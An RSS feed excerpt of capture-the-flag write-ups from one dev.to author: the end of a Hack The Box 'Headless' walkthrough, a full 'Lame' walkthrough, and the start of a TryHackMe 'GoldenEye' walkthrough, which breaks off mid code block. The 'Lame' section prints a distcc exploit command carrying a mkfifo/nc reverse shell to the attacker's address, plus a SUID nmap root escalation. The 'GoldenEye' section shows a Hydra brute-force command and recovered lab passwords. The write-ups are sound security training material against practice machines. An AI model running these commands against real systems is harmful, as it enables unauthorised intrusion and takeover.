&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script simply starts a Bash shell when executed.&lt;br&gt;
Next, I gave it execute permissions:&lt;br&gt;
&lt;code&gt;chmod +x /tmp/initdb.sh&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
Now everything is ready&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1ntv208phkn1etgwsihg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1ntv208phkn1etgwsihg.png" alt=" " width="800" height="689"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can execute the vulnerable system-check script:&lt;br&gt;
&lt;code&gt;sudo /usr/bin/syscheck&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
The script performs its checks and eventually reaches:&lt;br&gt;
Database service is not running. Starting it...&lt;br&gt;
At that print, ./initdb.sh is executed.&lt;br&gt;
Because we're currently in /tmp, it resolves to:&lt;br&gt;
&lt;code&gt;/tmp/initdb.sh&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
and we run &lt;code&gt;/tmp/bash -p&lt;/code&gt;&lt;br&gt;
and there u go we have root&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnef1jk5xxu35tn37n4bn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnef1jk5xxu35tn37n4bn.png" alt=" " width="381" height="335"&gt;&lt;/a&gt;&lt;br&gt;
The final flag is located at:&lt;br&gt;
/root/root.txt&lt;/p&gt;

&lt;h1&gt;
  
  
  Machine Review:
&lt;/h1&gt;

&lt;p&gt;Headless was a really nice Easy machine because every vulnerability naturally leads into the next stage.&lt;br&gt;
Overall, Headless was a good machine for practicing web enumeration, XSS, command injection, sudo enumeration, and relative-path vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1bgjt6e0pj7fhlai99a0.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1bgjt6e0pj7fhlai99a0.gif" alt=" " width="498" height="208"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>linux</category>
      <category>htb</category>
      <category>ctf</category>
      <category>hacker</category>
    </item>
    <item>
      <title>HTB: Lame — Writeup</title>
      <dc:creator>0xAp0ll0</dc:creator>
      <pubDate>Sat, 08 Aug 2026 13:57:10 +0000</pubDate>
      <link>https://dev.to/r4ybr/htb-lame-writeup-2m7</link>
      <guid>https://dev.to/r4ybr/htb-lame-writeup-2m7</guid>
      <description>&lt;p&gt;&lt;strong&gt;Target&lt;/strong&gt;: Lame&lt;br&gt;
&lt;strong&gt;OS&lt;/strong&gt;: Linux&lt;br&gt;
&lt;strong&gt;Difficulty&lt;/strong&gt;: Easy&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqybwk0v95yuctkfkim3e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqybwk0v95yuctkfkim3e.png" alt="Lamehtb" width="798" height="135"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Overview
&lt;/h1&gt;

&lt;p&gt;Lame is a classic Hack The Box machine built around legacy vulnerabilities, unauthenticated service access, and SUID binary misconfigurations. The pathway to initial access and root is straightforward once service enumeration is complete, making it an excellent introductory box for learning manual vulnerability identification and GTFOBins exploitation.&lt;/p&gt;
&lt;h1&gt;
  
  
  Reconnaissance &amp;amp; Enumeration:
&lt;/h1&gt;

&lt;p&gt;An initial port scan revealed standard services along with an outdated distributed compiler daemon (distccd) and an obsolete Samba installation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;P21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.15.67
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
&lt;/span&gt;&lt;span class="gp"&gt;Service Info: OSs: Unix, Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;CPE: cpe:/o:linux:linux_kernel
&lt;span class="go"&gt;
Host script results:
|_clock-skew: mean: 1h59m27s, deviation: 2h49m45s, median: -35s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2026-08-08T08:17:45-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using NetExec (nxc), null session authentication was confirmed to be enabled on SMB:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;nxc smb 10.129.58.33 -u '' -p ''  --shares
SMB         10.129.58.33    445    LAME             [*] Unix (name:LAME) (domain:hackthebox.gr) (signing:False) (SMBv1:True) (Null Auth:True)
SMB         10.129.58.33    445    LAME             [+] hackthebox.gr\: 
SMB         10.129.58.33    445    LAME             [*] Enumerated shares
SMB         10.129.58.33    445    LAME             Share           Permissions     Remark
SMB         10.129.58.33    445    LAME             -----           -----------     ------
&lt;/span&gt;&lt;span class="gp"&gt;SMB         10.129.58.33    445    LAME             print$&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;Printer Drivers
&lt;span class="go"&gt;SMB         10.129.58.33    445    LAME             tmp             READ,WRITE      oh noes!
SMB         10.129.58.33    445    LAME             opt                             
&lt;/span&gt;&lt;span class="gp"&gt;SMB         10.129.58.33    445    LAME             IPC$&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;IPC Service &lt;span class="o"&gt;(&lt;/span&gt;lame server &lt;span class="o"&gt;(&lt;/span&gt;Samba 3.0.20-Debian&lt;span class="o"&gt;))&lt;/span&gt;
&lt;span class="gp"&gt;SMB         10.129.58.33    445    LAME             ADMIN$&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;IPC Service &lt;span class="o"&gt;(&lt;/span&gt;lame server &lt;span class="o"&gt;(&lt;/span&gt;Samba 3.0.20-Debian&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;before diving deeper in the smb share i wanted to inspect the 3632 port because i am not familiar with it .&lt;/p&gt;

&lt;h1&gt;
  
  
  Port 3632 inspection (Initial Access)
&lt;/h1&gt;

&lt;p&gt;so the port 3632 is running Distcc which is a tool that enhances the compilation process by utilizing the idle processing power of other computers in the network&lt;br&gt;
after looking on the internet i found this in Hacktricks that checks if the port is vulnerable to the distcc CVE-2004-2687&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-p&lt;/span&gt; 3632 &amp;lt;ip&amp;gt; &lt;span class="nt"&gt;--script&lt;/span&gt; distcc-cve2004-2687 &lt;span class="nt"&gt;--script-args&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"distcc-exec.cmd='id'"&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and sure thing the service is vulnerable  so i use the same command to do a reverse shell and just like that we got it&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-p&lt;/span&gt; 3632 &amp;lt;IP&amp;gt; &lt;span class="nt"&gt;--script&lt;/span&gt; distcc-cve2004-2687 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--script-args&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"distcc-exec.cmd='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&amp;gt;&amp;amp;1|nc &amp;lt;ur_ip&amp;gt; &amp;lt;port&amp;gt; &amp;gt;/tmp/f'"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and just like that we got a shell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;listening on [any] 4444 ...
connect to [10.10.15.67] from (UNKNOWN) [10.129.58.33] 32936
sh: no job control in this shell
&lt;/span&gt;&lt;span class="gp"&gt;sh-3.2$&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and u can read the user flag &lt;/p&gt;

&lt;h1&gt;
  
  
  Privilege Escalation:
&lt;/h1&gt;

&lt;p&gt;Since the user flag was easy i decided to do some manual enumeration instead of relying on linpeas &lt;br&gt;
the first thing to do is to look for binaries with the SUID  bit set&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;s &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and &lt;strong&gt;/usr/bin/nmap&lt;/strong&gt; is the most interesting one Let's check GTFOBINS:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa37nd8jwmpt4rf0vj1hv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa37nd8jwmpt4rf0vj1hv.png" alt="GTFO" width="800" height="269"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Older versions of nmap (2.54B2 to 5.21) feature an interactive mode (--interactive) that allows shell command execution via the ! token. Because /usr/bin/nmap is owned by root with the SUID bit set, executing interactive commands runs them with root privileges.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;/usr/bin/nmap --interactive
Spawn a root shell within the Nmap prompt:

Plaintext
&lt;/span&gt;&lt;span class="gp"&gt;nmap&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;sh
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="go"&gt;uid=0(root) gid=0(root) groups=1(daemon)
Root access confirmed.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fixyx219ifpn2iw7cjsca.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fixyx219ifpn2iw7cjsca.png" alt="IAMROOT" width="381" height="335"&gt;&lt;/a&gt;&lt;br&gt;
then you can read the root flag and the machine is done . &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhmvc7ofa8cn7u7kb9ds8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhmvc7ofa8cn7u7kb9ds8.png" alt=" " width="800" height="524"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Machine Review:
&lt;/h1&gt;

&lt;p&gt;To be honest the machine lives up to its name it is in fact Lame from the user flag to the root flag nothing was challenging even a bit but it was an quick good exercise to do . &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd3wshd1qq2f44he077m1.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd3wshd1qq2f44he077m1.gif" alt="seeu" width="498" height="208"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>linux</category>
      <category>hackthebox</category>
      <category>ctf</category>
    </item>
    <item>
      <title>GoldenEye-TryHackMe Writeup</title>
      <dc:creator>0xAp0ll0</dc:creator>
      <pubDate>Thu, 06 Aug 2026 10:31:37 +0000</pubDate>
      <link>https://dev.to/r4ybr/goldeneye-tryhackme-writeup-1o48</link>
      <guid>https://dev.to/r4ybr/goldeneye-tryhackme-writeup-1o48</guid>
      <description>&lt;p&gt;&lt;strong&gt;Target&lt;/strong&gt;: GoldenEye&lt;br&gt;
&lt;strong&gt;OS&lt;/strong&gt;: Linux&lt;br&gt;
&lt;strong&gt;Difficulty&lt;/strong&gt;: Medium&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa9gvt9ze4byuv8qkfqv3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa9gvt9ze4byuv8qkfqv3.png" alt="Image" width="798" height="173"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;GoldenEye is a TryHackMe room built around credential reuse, mailbox enumeration, Moodle abuse, and a local privilege escalation. The path to root is fairly linear once the early email clues are collected, so the main challenge is keeping track of usernames, passwords, and the next service to inspect.&lt;/p&gt;
&lt;h2&gt;
  
  
  Reconnaissance
&lt;/h2&gt;

&lt;p&gt;Start by confirming the target is up and scanning all ports:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sCV&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &amp;lt;IP&amp;gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap
PORT      STATE SERVICE  VERSION
25/tcp    open  smtp     Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
| ssl-cert: Subject: &lt;span class="nv"&gt;commonName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ubuntu
| Not valid before: 2018-04-24T03:22:34
|_Not valid after:  2028-04-21T03:22:34
80/tcp    open  http     Apache httpd 2.4.7 &lt;span class="o"&gt;((&lt;/span&gt;Ubuntu&lt;span class="o"&gt;))&lt;/span&gt;
|_http-server-header: Apache/2.4.7 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
|_http-title: GoldenEye Primary Admin Server
55006/tcp open  ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent &lt;span class="nb"&gt;time&lt;/span&gt;
| ssl-cert: Subject: &lt;span class="nv"&gt;commonName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;localhost/organizationName&lt;span class="o"&gt;=&lt;/span&gt;Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52
55007/tcp open  pop3     Dovecot pop3d
|_ssl-date: TLS randomness does not represent &lt;span class="nb"&gt;time&lt;/span&gt;
| ssl-cert: Subject: &lt;span class="nv"&gt;commonName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;localhost/organizationName&lt;span class="o"&gt;=&lt;/span&gt;Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The scan shows four open services:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;25/tcp - SMTP&lt;/li&gt;
&lt;li&gt;80/tcp - HTTP&lt;/li&gt;
&lt;li&gt;55006/tcp - SSL POP3&lt;/li&gt;
&lt;li&gt;55007/tcp - POP3&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The web server on port 80 serves a terminal style  page. The first useful clue is in the page source, which references a script named terminal.js. That script contains Boris's default password in an encoded form.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk84xf2szjjhpqssaqoez.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk84xf2szjjhpqssaqoez.png" alt="Image" width="800" height="264"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;//
//Boris, make sure you update your default password. 
//My sources say MI6 maybe planning to infiltrate. 
//Be on the lookout for any suspicious network traffic....
//
//I encoded you p@ssword below...
//
//&amp;amp;#73;&amp;amp;#110;&amp;amp;#118;&amp;amp;#105;&amp;amp;#110;&amp;amp;#99;&amp;amp;#105;&amp;amp;#98;&amp;amp;#108;&amp;amp;#101;&amp;amp;#72;&amp;amp;#97;&amp;amp;#99;&amp;amp;#107;&amp;amp;#51;&amp;amp;#114;
//
//BTW Natalya says she can break your codes
//
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;after using cyberchef's magic wand we get our first credential&lt;br&gt;
 we use those credentials to log in to the webpage in &lt;strong&gt;/sev-home/&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjd9ot8rh5s2kseu6c856.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjd9ot8rh5s2kseu6c856.png" alt="Image" width="716" height="601"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With those credentials, log in to the web portal and review the page content carefully. It points to the mail service on 55007 and suggests that the same credentials may or may not work elsewhere.&lt;/p&gt;
&lt;h2&gt;
  
  
  Mail Enumeration
&lt;/h2&gt;

&lt;p&gt;The POP3 service is reachable with telnet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
telnet &amp;lt;IP&amp;gt; 55007

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Boris's first password does not work on POP3, so the next step is a password attack. The room strongly hints at Hydra, and that works cleanly against the POP3 login.&lt;/p&gt;

&lt;p&gt;For Boris:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
hydra &lt;span class="nt"&gt;-l&lt;/span&gt; Boris &lt;span class="nt"&gt;-P&lt;/span&gt; /usr/share/wordlists/fasttrack.txt  &amp;lt;IP&amp;gt; &lt;span class="nt"&gt;-s&lt;/span&gt; 55007 pop3

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Boris password: secret1!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpn9tsepqoxx72xqugf1t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpn9tsepqoxx72xqugf1t.png" alt="meme" width="480" height="320"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/TryHackme/goldeney]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;telnet &amp;lt;IP&amp;gt; 55007                                                            
Escape character is &lt;span class="s1"&gt;'^]'&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
+OK GoldenEye POP3 Electronic-Mail System
USER boris
+OK
PASS secret1!
+OK Logged &lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
LIST
+OK 3 messages:
1 544
2 373
3 921
&lt;span class="nb"&gt;.&lt;/span&gt;
RETR 1  
+OK 544 octets
Return-Path: &amp;lt;root@127.0.0.1.goldeneye&amp;gt;
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok &lt;span class="o"&gt;(&lt;/span&gt;localhost &lt;span class="o"&gt;[&lt;/span&gt;127.0.0.1]&lt;span class="o"&gt;)&lt;/span&gt;
        by ubuntu &lt;span class="o"&gt;(&lt;/span&gt;Postfix&lt;span class="o"&gt;)&lt;/span&gt; with SMTP &lt;span class="nb"&gt;id &lt;/span&gt;D9E47454B1
        &lt;span class="k"&gt;for&lt;/span&gt; &amp;lt;boris&amp;gt;&lt;span class="p"&gt;;&lt;/span&gt; Tue, 2 Apr 1990 19:22:14 &lt;span class="nt"&gt;-0700&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;PDT&lt;span class="o"&gt;)&lt;/span&gt;
Message-Id: &amp;lt;20180425022326.D9E47454B1@ubuntu&amp;gt;
Date: Tue, 2 Apr 1990 19:22:14 &lt;span class="nt"&gt;-0700&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;PDT&lt;span class="o"&gt;)&lt;/span&gt;
From: root@127.0.0.1.goldeneye

Boris, this is admin. You can electronically communicate to co-workers and students here. I&lt;span class="s1"&gt;'m not going to scan emails for security risks because I trust you and the other admins here.
.
RETR 2  
+OK 373 octets
Return-Path: &amp;lt;natalya@ubuntu&amp;gt;
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id C3F2B454B1
        for &amp;lt;boris&amp;gt;; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
Message-Id: &amp;lt;20180425024249.C3F2B454B1@ubuntu&amp;gt;
Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
From: natalya@ubuntu

Boris, I can break your codes!
.
RETR 3
+OK 921 octets
Return-Path: &amp;lt;alec@janus.boss&amp;gt;
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id 4B9F4454B1
        for &amp;lt;boris&amp;gt;; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: &amp;lt;20180425025235.4B9F4454B1@ubuntu&amp;gt;
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: alec@janus.boss

Boris,

Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!

Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....

PS - Keep security tight or we will be compromised.


&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once logged in via POP3, use &lt;code&gt;LIST&lt;/code&gt; and &lt;code&gt;RETR&lt;/code&gt; to read all messages. Boris's mailbox reveals:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Natalya is the user who can break Boris's codes.&lt;/li&gt;
&lt;li&gt;Another username: Xenia&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For Natalya:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
